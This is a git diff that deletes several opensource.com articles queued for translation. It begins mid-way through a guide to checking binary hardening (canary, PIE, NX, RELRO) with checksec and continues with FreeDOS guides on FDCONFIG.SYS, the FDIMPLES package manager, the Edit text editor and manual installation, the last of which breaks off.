"yes", -$ -$ checksec --file=./hello --output=json | jq | grep canary -    "canary": "no", -$ - -``` -How does checksec find out if the binary is enabled with a canary? Using the method above, you can narrow it down by running the following command within the shell script: -``` -`$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie'` -``` -#### Enable canary - -To protect against these cases, the compiler provides the `-stack-protector-all` flag, which adds extra code to the binary to check for such buffer overflows: -``` - - -$ gcc -fstack-protector-all hello.c -o hello - -$ checksec --file=./hello --output=json | jq | grep canary -    "canary": "yes", - -``` -Checksec shows that the property is now enabled. You can also verify this with: -``` - - -$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie' -     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3) -    83: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2.4 -$ - -``` -### 3\. PIE - -PIE stands for position-independent executable. As the name suggests, it's code that is placed somewhere in memory for execution regardless of its absolute address: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep pie -    "pie": "yes", - -$ checksec --file=./hello --output=json | jq | grep pie -    "pie": "no", - -``` -Often, PIE is enabled only for libraries and not for standalone command-line programs. In the output below, `hello` is shown as `LSB executable`, whereas, the `libc` standard library (`.so`) file is marked `LSB shared object`: -``` - - -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped - -$ file /lib64/libc-2.32.so -/lib64/libc-2.32.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4a7fb374097fb927fb93d35ef98ba89262d0c4a4, for GNU/Linux 3.2.0, not stripped - -``` -Checksec tries to find this information with: -``` - - -$ readelf -W -h ./hello | grep EXEC -  Type:                              EXEC (Executable file) - -``` -If you try the same command on a shared library instead of `EXEC`, you will see a `DYN`: -``` - - -$ readelf -W -h /lib64/libc-2.32.so | grep DYN -  Type:                              DYN (Shared object file) - -``` -#### Enable PIE - -To enable PIE on a test program, send the following arguments to the compiler: -``` -`$ gcc -pie -fpie hello.c -o hello` -``` -You can verify PIE is enabled using checksec: -``` - - -$ checksec --file=./hello --output=json | jq | grep pie -    "pie": "yes", -$ - -``` -It should show as a PIE executable with the type changed from `EXEC` to `DYN`: -``` - - -$ file hello -hello: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb039adf2530d97e02f534a94f0f668cd540f940, for GNU/Linux 3.2.0, not stripped - -$ readelf -W -h ./hello | grep DYN -  Type:                              DYN (Shared object file) - -``` -### 4\. NX - -NX stands for "non-executable." It's often enabled at the CPU level, so an operating system with NX enabled can mark certain areas of memory as non-executable. Often, buffer-overflow exploits put code on the stack and then try to execute it. However, making this writable area non-executable can prevent such attacks. This property is enabled by default during regular compilation using `gcc`: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep nx -    "nx": "yes", - -$ checksec --file=./hello --output=json | jq | grep nx -    "nx": "yes", - -``` -Checksec determines this information with the command below. `RW` towards the end means the stack is readable and writable; since there is no `E`, it's not executable: -``` - - -$ readelf -W -l ./hello | grep GNU_STACK -  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10 - -``` -#### Disable NX for demo purposes - -It's not recommended, but you can disable `NX` when compiling a program by using the `-z execstack` argument: -``` - - -$ gcc -z execstack hello.c -o hello - -$ checksec --file=./hello --output=json | jq | grep nx -    "nx": "no", - -``` -Upon compilation, the stack becomes executable (`RWE`), which allows malicious code to execute: -``` - - -$ readelf -W -l ./hello | grep GNU_STACK -  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RWE 0x10 - -``` -### 5\. RELRO - -RELRO stands for Relocation Read-Only. An Executable Linkable Format (ELF) binary uses a Global Offset Table (GOT) to resolve functions dynamically. When enabled, this security property makes the GOT within the binary read-only, which prevents some form of relocation attacks: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep relro -    "relro": "full", - -$ checksec --file=./hello --output=json | jq | grep relro -    "relro": "partial", - -``` -Checksec finds this information by using the command below. Here, one of the RELRO properties is enabled; therefore, the binary shows "partial" when verifying via checksec: -``` - - -$ readelf -W -l ./hello | grep GNU_RELRO -  GNU_RELRO      0x002e10 0x0000000000403e10 0x0000000000403e10 0x0001f0 0x0001f0 R   0x1 - -$ readelf -W -d ./hello | grep BIND_NOW - -``` -#### Enable full RELRO - -To enable full RELRO, use the following command-line arguments when compiling with `gcc`: -``` - - -$ gcc -Wl,-z,relro,-z,now hello.c -o hello - -$ checksec --file=./hello --output=json | jq | grep relro -    "relro": "full", - -``` -Now, the second property is also enabled, making the program full RELRO: -``` - - -$ readelf -W -l ./hello | grep GNU_RELRO -  GNU_RELRO      0x002dd0 0x0000000000403dd0 0x0000000000403dd0 0x000230 0x000230 R   0x1 - -$ readelf -W -d ./hello | grep BIND_NOW - 0x0000000000000018 (BIND_NOW)           - -``` -### 6\. Fortify - -Fortify is another security property, but it's out of scope for this article. I will leave learning how checksec verifies fortify in binaries and how it's enabled with `gcc` as an exercise for you to tackle. -``` - - -$ checksec --file=/bin/ls --output=json | jq  | grep -i forti -    "fortify_source": "yes", -    "fortified": "5", -    "fortify-able": "17" - -$ checksec --file=./hello --output=json | jq  | grep -i forti -    "fortify_source": "no", -    "fortified": "0", -    "fortify-able": "0" - -``` -## Other checksec features - -The topic of security is never-ending, and while it's not possible to cover everything here, I do want to mention a few more features of the `checksec` command that make it a pleasure to work with. - -### Run against multiple binaries - -You don't have to provide each binary to checksec individually. Instead, you can provide a directory path where multiple binaries reside, and checksec will verify all of them for you in one go: -``` -`$ checksec --dir=/usr \ No newline at end of file diff --git a/sources/tech/20210609 Configure FreeDOS in plain text.md b/sources/tech/20210609 Configure FreeDOS in plain text.md deleted file mode 100644 index b54016ae8a..0000000000 --- a/sources/tech/20210609 Configure FreeDOS in plain text.md +++ /dev/null @@ -1,213 +0,0 @@ -[#]: subject: (Configure FreeDOS in plain text) -[#]: via: (https://opensource.com/article/21/6/freedos-fdconfigsys) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Configure FreeDOS in plain text -====== -Learn how to configure FreeDOS with FDCONFIG.SYS. -![Person using a laptop][1] - -The main configuration file for FreeDOS is a file in the root directory called `FDCONFIG.SYS`. This file contains a series of lines, each setting a value such as `LASTDRIVE=Z` or `FILES=40`. For example, the default `FDCONFIG.SYS` in FreeDOS 1.3 RC4 looks like this: - - -``` -SET DOSDIR=C:\FDOS - -!COUNTRY=001,858,C:\FDOS\BIN\COUNTRY.SYS -!LASTDRIVE=Z -!BUFFERS=20 -!FILES=40 -!MENUCOLOR=7,0 - -MENUDEFAULT=1,5 -MENU 1 - Load FreeDOS with JEMMEX, no EMS (most UMBs), max RAM free -MENU 2 - Load FreeDOS with JEMM386 (Expanded Memory) -MENU 3 - Load FreeDOS low with some drivers (Safe Mode) -MENU 4 - Load FreeDOS without drivers (Emergency Mode) - -12?DOS=HIGH -12?DOS=UMB -12?DOSDATA=UMB -1?DEVICE=C:\FDOS\BIN\JEMMEX.EXE NOEMS X=TEST I=TEST NOVME NOINVLPG -234?DEVICE=C:\FDOS\BIN\HIMEMX.EXE -2?DEVICE=C:\FDOS\BIN\JEMM386.EXE X=TEST I=TEST I=B000-B7FF NOVME NOINVLPG -34?SHELL=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT -12?SHELLHIGH=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT -``` - -But what do all those lines mean? Why do some have a question mark (`?`) or an exclamation point (`!`), while other lines do not? - -### A simple configuration - -Let's start with a simple configuration, so we can see what does what. Assume this very brief `FDCONFIG.SYS` file: - - -``` -LASTDRIVE=Z -BUFFERS=20 -FILES=40 -DEVICE=C:\FDOS\BIN\HIMEMX.EXE -SHELL=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT -``` - -This configuration file contains only a few instructions: - - 1. `LASTDRIVE=Z` - 2. `BUFFERS=20` - 3. `FILES=40` - 4. `DEVICE=C:\FDOS\BIN\HIMEMX.EXE` - 5. `SHELL=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT` - - - -The first instruction tells FreeDOS how many drive letters to reserve in memory. (DOS uses letters to represent each drive attached to the system, and `LASTDRIVE=Z` says to reserve drive letters from "A" to "Z."). `LASTDRIVE` affects the number of _logical drives_ that your system can recognize. You probably don't have any logical drives; the FreeDOS installer doesn't set these up by default. In any case, it is safe to set `LASTDRIVE=Z` on any FreeDOS system. - -The `BUFFERS` line reserves memory for file buffers. A _buffer_ helps to speed up certain processes that require storage, such as copying files. If you set a larger value for `BUFFERS`, FreeDOS will reserve more memory—and vice versa for smaller values. Most users will set this to `BUFFERS=20` or `BUFFERS=40`, depending on how often they need to read and write files on the system. - -The `FILES` setting determines how many files DOS allows you to open at one time. If you run an application that needs to open many files at once, such as a Genealogy database, you may need to set `FILES` to a larger value. For most users, `FILES=40` is a reasonable value. - -`DEVICE` is a special instruction that loads a _device driver_. DOS requires device drivers for certain hardware or configurations. The line `DEVICE=C:\FDOS\BIN\HIMEMX.EXE` loads the _HimemX_ device driver, so DOS can take advantage of expanded memory beyond the first 640 kilobytes. - -The last line tells the FreeDOS kernel where to find the command-line shell. By default, the kernel will look for the shell as `COMMAND.COM`, but you can change it with the `SHELL` instruction. In this example, `SHELL=C:\FDOS\BIN\COMMAND.COM` says the shell is the `COMMAND.COM` program, located in the `\FDOS\BIN` directory on the `C` drive. - -The other text at the end of the `SHELL` indicate the options to the `COMMAND.COM` shell. The FreeDOS `COMMAND.COM` supports several startup options to modify its behavior, including: - - * **`C:\FDOS\BIN`** \- The full path to the `COMMAND.COM` program - * `/E:1024 -` The environment (E) size, in bytes. `/E:1024` tells `COMMAND.COM` to reserve 1024 bytes, or 1 kilobyte, to store its environment variables. - * **`/P=C:\FDAUTO.BAT`** \- The `/P` option indicates that the shell is a permanent (P) shell, so the user cannot quit the shell by typing `EXIT` (the extra text `=C:\FDAUTO.BAT` tells `COMMAND.COM` to execute the `C:\FDAUTO.BAT` file at startup, instead of the default `AUTOEXEC.BAT` file) - - - -With that simple configuration, you should be able to interpret some of the `FDCONFIG.SYS` file that's installed by FreeDOS 1.3 RC4. - -### Boot menu - -FreeDOS supports a neat feature—multiple configurations on one system, using a "boot menu" to select the configuration you want. The `FDCONFIG.SYS` file contains several lines that define the menu: - - -``` -!MENUCOLOR=7,0 - -MENUDEFAULT=1,5 -MENU 1 - Load FreeDOS with JEMMEX, no EMS (most UMBs), max RAM free -MENU 2 - Load FreeDOS with JEMM386 (Expanded Memory) -MENU 3 - Load FreeDOS low with some drivers (Safe Mode) -MENU 4 - Load FreeDOS without drivers (Emergency Mode) -``` - -The `MENUCOLOR` instruction defines the text color and background color of the boot menu. These values are typically in the range 0 to 7, and represent these colors: - - * 0 Black - * 1 Blue - * 2 Green - * 3 Cyan - * 4 Red - * 5 Magenta - * 6 Brown - * 7 White - - - -So the `MENUCOLOR=7,0` definition means to display the menu with white (7) text on a black (0) background. If you instead wanted to use white text on a blue background, you could define this as `MENUCOLOR=7,1`. - -The exclamation point (`!`) at the start of the line means that this instruction will always be executed, no matter what menu option you choose. - -The `MENUDEFAULT=1,5` line tells the kernel how long to wait for the user to select a boot menu entry, or what default menu entry to use if the user did not select one. `MENUDEFAULT=1,5` indicates the system will wait for 5 seconds; if the user did not attempt to select a menu item within that time, the kernel will assume boot menu "1" instead. - -![boot menu][2] - -Jim Hall, CC-BY SA 4.0 - -The `MENU` lines after that are labels for the different boot menu configurations. These are presented in order, so menu item "1" is first, then "2," and so on. - -![menu select 4][3] - -Jim Hall, CC-BY SA 4.0 - -In the lines that follow in `FDCONFIG.SYS`, you will see numbers before a question mark (`?`). These indicate "for this boot menu entry, use this line." For example, this line with `234?` will only load the HimemX device driver if the user selects boot menu entries "2," "3," or "4." - - -``` -`234?DEVICE=C:\FDOS\BIN\HIMEMX.EXE` -``` - -There are lots of ways to use `FDCONFIG.SYS` to configure your FreeDOS system. We've only covered the basics here, the most common ways to define your FreeDOS kernel settings. For more information, explore the FreeDOS Help system (type `HELP` at the command line) to learn how to use all of the FreeDOS `FDCONFIG.SYS` options: - - * **SWITCHES** - * Boot time processing behavior - * **REM** and **;** - * Comments (ignored in FDCONFIG.SYS) - * **MENUCOLOR** - * Boot menu text color and background color - * **MENUDEFAULT** - * Boot menu default value - * **MENU** - * Boot menu entry - * **ECHO** and **EECHO** - * Display messages - * **BREAK** - * Sets extended **Ctrl+C** checking on or off - * **BUFFERS** or **BUFFERSHIGH** - * How many disk buffers to allocate - * **COUNTRY** - * Sets international behavior - * **DOS** - * Tell the FreeDOS kernel how to load itself into memory - * **DOSDATA** - * Tell FreeDOS to load kernel data into upper memory - * **FCBS** - * Set the number of file control blocks (FCBs) - * **KEYBUF** - * Reassign the keyboard buffer in memory - * **FILES** or **FILESHIGH** - * How many files to have open at once - * **LASTDRIVE** or **LASTDRIVEHIGH** - * Set the last drive letter that can be used - * **NUMLOCK** - * Set the keyboard number pad lock on or off - * **SHELL**, **SHELLHIGH**, or **COMMAND** - * Set the command line shell - * **STACKS** or **STACKSHIGH** - * Add stacks to handle hardware interrupts - * **SWITCHAR** - * Redefines the command line option switch character - * **SCREEN** - * Set the number of lines on the screen - * **VERSION** - * Set what DOS version to report to programs - * **IDLEHALT** - * Activates energy saving features, useful on certain systems - * **DEVICE** and **DEVICEHIGH** - * Load a driver into memory - * **INSTALL** and **INSTALLHIGH** - * Load a "terminate and stay resident" (TSR) program - * **SET** - * Set a DOS environment variable - - - -### Configuring in plain text - -Like Linux and BSD, FreeDOS configuration happens in plain text. No special tools for editing are required, so dive in and see what options suit you best. It's easy but powerful! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-fdconfigsys - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://opensource.com/sites/default/files/uploads/boot-menu.png (The boot menu waits for 5 seconds before assuming menu item 1) -[3]: https://opensource.com/sites/default/files/uploads/menu-select4.png (Use the arrow keys to select a boot menu configuration) diff --git a/sources/tech/20210610 Install and remove software packages on FreeDOS.md b/sources/tech/20210610 Install and remove software packages on FreeDOS.md deleted file mode 100644 index 075308fb72..0000000000 --- a/sources/tech/20210610 Install and remove software packages on FreeDOS.md +++ /dev/null @@ -1,113 +0,0 @@ -[#]: subject: (Install and remove software packages on FreeDOS) -[#]: via: (https://opensource.com/article/21/6/freedos-package-manager) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Install and remove software packages on FreeDOS -====== -Get familiar with FDIMPLES, the FreeDOS package manager. -![Package wrapped with brown paper and red bow][1] - -On Linux, you may have used a _package manager_ to install or remove packages. For example, the default package manager on Debian Linux is the `deb` command, and the default package manager on Fedora Linux is the `dnf` command. But did you know that FreeDOS has a package manager, too? - -### Installing packages - -The FreeDOS 1.3 RC4 distribution includes lots of great programs and applications you can use. However, we don't install all of them by default—we don't want to fill your hard drive space unnecessarily, especially on older systems that may have hard drive capacities of only a few hundred megabytes. And if you selected the "Plain DOS system" option when you installed FreeDOS, you will find your FreeDOS system is quite small (about 20 megabytes). - -However, it's easy to install new packages. From the command line, run the `FDIMPLES` program. Because DOS is _case insensitive_, you can type this command using uppercase or lowercase letters: `fdimples` is the same as `FDIMPLES` or `FDImples`. - -![fdimples][2] - -The FDIMPLES package manager on FreeDOS 1.3 RC4 (running in QEMU) -(Jim Hall, [CC-BY SA 4.0][3]) - -FDIMPLES is an acronym for "**F**ree**D**OS **I**nstaller - **M**y **P**ackage **L**ist **E**ditor **S**oftware," and is an interactive package manager. FDIMPLES reads the installation media to identify packages that it can install or remove. If you see a different menu that says "Installed" but does not let you install other software, check that the FreeDOS install CD-ROM is loaded on your system. On a physical machine, you'll need to insert the CD-ROM into the CD-ROM drive; on a virtual machine like QEMU or VirtualBox, you'll need to associate the install CD-ROM image with the virtal machine. - -![fdimples installed][4] - -If you only see an "Installed" message, check that the CD-ROM is loaded -(Jim Hall, [CC-BY SA 4.0][3]) - -Let's say you wanted to install software that lets you play music and other sound files. Use the Up and Down arrow keys to navigate to the **Sound Tools** entry in the menu. This is called a _package group_ for the sound and music programs. - -![fdimples sound][5] - -Highlighting the Sound package group in FDIMPLES -(Jim Hall, [CC-BY SA 4.0][3]) - -To select all of the packages in this group, press the spacebar on your keyboard. Should you decide to install individual packages in this group, press the Tab key to move into the _package list_ pane, then select each package with the spacebar. - -![fdimples sound select][6] - -Select all the packages in a group by pressing the spacebar -(Jim Hall, [CC-BY SA 4.0][3]) - -You can continue to select other packages or package groups that you want to install. When you have selected everything, use the Tab key to highlight the **OK** button, and press the spacebar. - -![fdimples sound select ok][7] - -Highlight the "Ok" button when you're ready to install -(Jim Hall, [CC-BY SA 4.0][3]) - -FDIMPLES then installs all of the packages you selected. This may only take a few moments if you selected only a couple of small packages, or it could take minutes if you asked to install many larger packages. As it installs each package, FDIMPLES prints the status. Afterward, FDIMPLES exits to the command line, so you can get back to work. - -![fdimples sound install done][8] - -FDIMPLES shows the progress as its installs packages, and automatically exits when done -(Jim Hall, [CC-BY SA 4.0][3]) - -### Removing packages - -What if you install a package, only to discover afterward that you don't want it? Removing packages is just as easy in FDIMPLES. - -Just as when installing packages, start FDIMPLES, and use the arrow keys to navigate to the group that contains the packages you want to remove. For example, if I wanted to uninstall a few of the music-player packages I installed earlier, I would navigate to the **Sound Tools** package group. - -![fdimples sound select][9] - -Navigate to the group with the packages you want to remove -(Jim Hall, [CC-BY SA 4.0][3]) - -To remove the entire package group at once, you can press the spacebar on the group you want to remove to unselect it. But let's say I only wanted to remove a few packages that I didn't need, like the **CDP** audio CD player. (I don't have any physical music CDs.) To remove CDP, hit the Tab key to move into the package list pane, then use the spacebar to unselect the CDP package. This removes the **X** on that package. - -![fdimples unselect cdp][10] - -Unselect a package to remove it -(Jim Hall, [CC-BY SA 4.0][3]) - -You can continue to unselect other packages or package groups that you want to remove. When you have selected everything, use the Tab key to highlight the **OK** button, and press the spacebar. FDIMPLES will remove the packages you unselected, then automatically returns you to the command line. - -![fdimples cdp removed][11] - -FDIMPLES removes the package, then returns to the command line -(Jim Hall, [CC-BY SA 4.0][3]) - -We include many packages in FreeDOS, across a variety of package groups. Use FDIMPLES to install the software you need. Feel free to experiment! If you decide you don't want to keep a package, you can remove it and free up your disk space for other things. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-package-manager - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brown-package-red-bow.jpg?itok=oxZYQzH- (Package wrapped with brown paper and red bow) -[2]: https://opensource.com/sites/default/files/uploads/fdimples.png (The FDIMPLES package manager on FreeDOS 1.3 RC4 (running in QEMU)) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/fdimples-installed.png (If you only see an "Installed" message, check that the CD-ROM is loaded) -[5]: https://opensource.com/sites/default/files/uploads/fdimples-sound.png (Highlighting the Sound package group in FDIMPLES) -[6]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select.png (Select all the packages in a group by pressing the spacebar) -[7]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select-ok.png (Highlight the "Ok" button when you're ready to install) -[8]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select-ok-install4.png (FDIMPLES shows the progress as its installs packages, and automatically exits when done) -[9]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select_0.png (Navigate to the group with the packages you want to remove) -[10]: https://opensource.com/sites/default/files/uploads/fdimples-unselect-cdp.png (Unselect a package to remove it) -[11]: https://opensource.com/sites/default/files/uploads/fdimples-unselect-cdp-removed.png (FDIMPLES removes the package, then returns to the command line) diff --git a/sources/tech/20210611 How to use the FreeDOS text editor.md b/sources/tech/20210611 How to use the FreeDOS text editor.md deleted file mode 100644 index 4afe36aa36..0000000000 --- a/sources/tech/20210611 How to use the FreeDOS text editor.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: subject: (How to use the FreeDOS text editor) -[#]: via: (https://opensource.com/article/21/6/freedos-text-editor) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to use the FreeDOS text editor -====== -FreeDOS provides a user-friendly text editor called FreeDOS Edit. -![Person using a laptop][1] - -Editing files is a staple on any operating system. Whether you want to make a note about something, write a letter to a friend, or update a system configuration file—you need an editor. And FreeDOS provides a user-friendly text editor called (perhaps unimaginatively) "FreeDOS Edit." - -### Editing files - -The simplest invocation of FreeDOS Edit is just `EDIT`. This brings up an empty editor window. The patterned background suggests an empty "desktop"—a reminder that you aren't editing any files. - -![FreeDOS Edit][2] - -FreeDOS Edit without any files loaded -Jim Hall, CC-BY SA 4.0 - -Like most DOS applications, you can access the menus in Edit by tapping the Alt key once on your keyboard. This activates the menu. After hitting Alt, Edit will switch to "menu" access and will highlight the "File" menu. If you want to access a different menu on the menu bar, use the left and right arrow keys. Press the down arrow or hit the Enter key to go "into" the menu. - -![FreeDOS Edit menu][3] - -Highlighting the menu -Jim Hall, CC-BY SA 4.0 - -Do you notice that the first letter for each menu title is a different color? This highlight indicates a shortcut. For example, the "F" in the "File" menu is highlighted in red. So you could instead press Alt+F (Alt and F at the same time) and Edit will bring up the "File" menu. - -![File menu][4] - -The File menu -Jim Hall, CC-BY SA 4.0 - -You can use the "File" menu to either start a new (empty) file, or open an existing file. Let's start a new file by using the arrow keys to move down to "New" and pressing the Enter key. You can also start a new file by pressing Ctrl+N (Ctrl and N at the same time): - -![new file][5] - -Editing a new file -Jim Hall, CC-BY SA 4.0 - -Editing files should be pretty straightforward after that. Most of the familiar keyboard shortcuts exist in FreeDOS Edit: Ctrl+C to copy text, Ctrl+X to cut text, and Ctrl+V to paste copied or cut text into a new location. If you need to find specific text in a long document, press Ctrl+F. To save your work, use Ctrl+S to commit changes back to the disk. - -### Programming in Edit - -If you're a programmer, you may find the extended ASCII table a useful addition. DOS systems supported an "extended" ASCII character set commonly referred to as "code page 437." The standard characters between 0 and 127 include the letters A through Z (uppercase and lowercase), numbers, and special symbols like punctuation. However, the DOS extended characters from code 128 to code 255 included foreign language characters and "line drawing" elements. DOS programmers often made use of these extended ASCII characters, so FreeDOS Edit makes it easy to view a table of all the ASCII codes and their associated characters. - -To view the ASCII table, use the "Utilities" menu and select the "ASCII Table" entry. This brings up a window containing a table. - -![utilities menu - ascii table][6] - -Find the ASCII Table in the Utilities menu -Jim Hall, CC-BY SA 4.0 - -Along the left, the table shows the hexadecimal values "00" through "F0," and the top shows the single values "0" through "F." These provide a quick reference to the hexadecimal code for each character. For example, the item in the first row (00) and the first column (0) has the hexadecimal value 00 + 0, or 0x00 (the "NULL" value). And the character in the fifth row (40) and the second column (1) has the value 40 + 1, or 0x41 (the letter "A"). - -![utilities menu - ascii table][7] - -The ASCII Table provides a handy reference for extended characters -Jim Hall, CC-BY SA 4.0 - -As you move the cursor through the table to highlight different characters, you'll see the values at the bottom of the table change to show the character's code in decimal, hexadecimal, and octal. For example, moving the cursor to highlight the "line intersection" character at row C0 and column 5 shows this extended character code as 197 (dec), 0xc5 (hex), and 305 (oct). In a program, you might reference this extended character by typing the hex value `0xc5`, or the octal "escape code" `\305`. - -![ASCII 0xc5][8] - -The "line intersection" character is 197 (dec), 0xc5 (hex), and 305 (oct) -Jim Hall, CC-BY SA 4.0 - -Feel free to explore the menus in Edit to discover other neat features. For example, the "Options" menu allows you to change the behavior and appearance of Edit. If you prefer to use a more dense display, you can use the "Display" menu (under "Options") to set Edit to 25, 43, or 50 lines. You can also force Edit to display in monochrome (white on black) or reversed mode (black on white). - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-text-editor - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://opensource.com/sites/default/files/uploads/edit.png (FreeDOS Edit without any files loaded) -[3]: https://opensource.com/sites/default/files/uploads/edit-menu.png (Highlighting the menu) -[4]: https://opensource.com/sites/default/files/uploads/edit-file.png (The File menu) -[5]: https://opensource.com/sites/default/files/uploads/edit-new.png (Editing a new file) -[6]: https://opensource.com/sites/default/files/uploads/utilities-ascii.png (Find the ASCII Table in the Utilities menu) -[7]: https://opensource.com/sites/default/files/uploads/ascii-table-0x00.png (The ASCII Table provides a handy reference for extended characters) -[8]: https://opensource.com/sites/default/files/uploads/ascii-0xc5.png (The "line intersection" character is 197 (dec), 0xc5 (hex), and 305 (oct)) diff --git a/sources/tech/20210614 Install FreeDOS without the installer.md b/sources/tech/20210614 Install FreeDOS without the installer.md deleted file mode 100644 index e630aa3f40..0000000000 --- a/sources/tech/20210614 Install FreeDOS without the installer.md +++ /dev/null @@ -1,158 +0,0 @@ -[#]: subject: (Install FreeDOS without the installer) -[#]: via: (https://opensource.com/article/21/6/install-freedos-without-installer) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: (robsean) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Install FreeDOS without the installer -====== -Here's how to set up your FreeDOS system manually without using the -installer. -![FreeDOS fish logo and command prompt on computer][1] - -Most people should be able to install FreeDOS 1.3 RC4 very easily using the installer. The FreeDOS installer asks a few questions, then takes care of the rest—including making space for FreeDOS and making the system bootable. - -But what if the installer doesn't work for you? Or what if you prefer to set up your FreeDOS system _manually_, without using the installer? With FreeDOS, you can do that too! Let's walk through the steps to install FreeDOS without using the installer. I'll do all of these steps using the QEMU virtual machine, using a blank hard drive image. I created a one hundred megabyte ("100M") hard drive image with this Linux command: - - -``` -`$ qemu-img create freedos.img 100M` -``` - -I downloaded the FreeDOS 1.3 RC4 installation LiveCD as FD13LIVE.iso, which provides a "live" environment where I can run FreeDOS, including all the standard tools. Most users also use the LiveCD to install FreeDOS with the regular installer, but here I'll only use the LiveCD to install FreeDOS using individual commands from the command line. - -I started the virtual machine with this rather long QEMU command, and selected the "Use FreeDOS 1.3 in Live Environment mode" boot menu entry: - - -``` -`$ qemu-system-x86_64 -name FreeDOS -machine pc-i440fx-4.2,accel=kvm,usb=off,dump-guest-core=off -enable-kvm -cpu host -m 8 -overcommit mem-lock=off -no-user-config -nodefaults -rtc base=utc,driftfix=slew -no-hpet -boot menu=on,strict=on -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on -hda freedos.img -cdrom FD13LIVE.iso -device sb16 -device adlib -soundhw pcspk -vga cirrus -display sdl -usbdevice mouse` -``` - -![manual install][2] - -Select "Use FreeDOS 1.3 in Live Environment mode" to boot the LiveCD -(Jim Hall, [CC-BY SA 4.0][3]) - -That QEMU command line includes a bunch of options that may seem confusing at first. You configure QEMU entirely with command-line options, so there is a lot to examine here. But I'll briefly highlight a few important options: - - * `-m 8:` Set the system memory ("RAM") to 8 megabytes - * **`-boot menu=on,strict=on:`** Use a boot menu, so I can select if I want to boot from the CD-ROM image or the hard drive image - * **`-hda freedos.img`:** Use **freedos.img** as the hard drive image - * `-cdrom FD13LIVE.iso:`Use **FD13LIVE.iso** as the CD-ROM image - * **`-device sb16 -device adlib -soundhw pcspk`:** Define the machine with a SoundBlaster16 sound card, AdLib digitial music card, and PC speaker emulation (these are useful if you want to play DOS games) - * **`-usbdevice mouse`:** Recognize the user's mouse as a USB mouse (click in the QEMU window to use the mouse) - - - -### Partition the hard drive - -You can use FreeDOS 1.3 RC4 from the LiveCD, but if you want to install FreeDOS to your computer, you'll first need to make space on the hard drive. This requires creating a _partition_ with the FDISK program. - -From the DOS command line, type `FDISK` to run the _fixed disk_ setup program. FDISK is a full-screen interactive program, and you only need to type a number to select a menu item. From the main FDISK menu, enter "1" to create a DOS partition on the drive, then enter "1" on the next screen to create a _primary_ DOS partition. - -![using 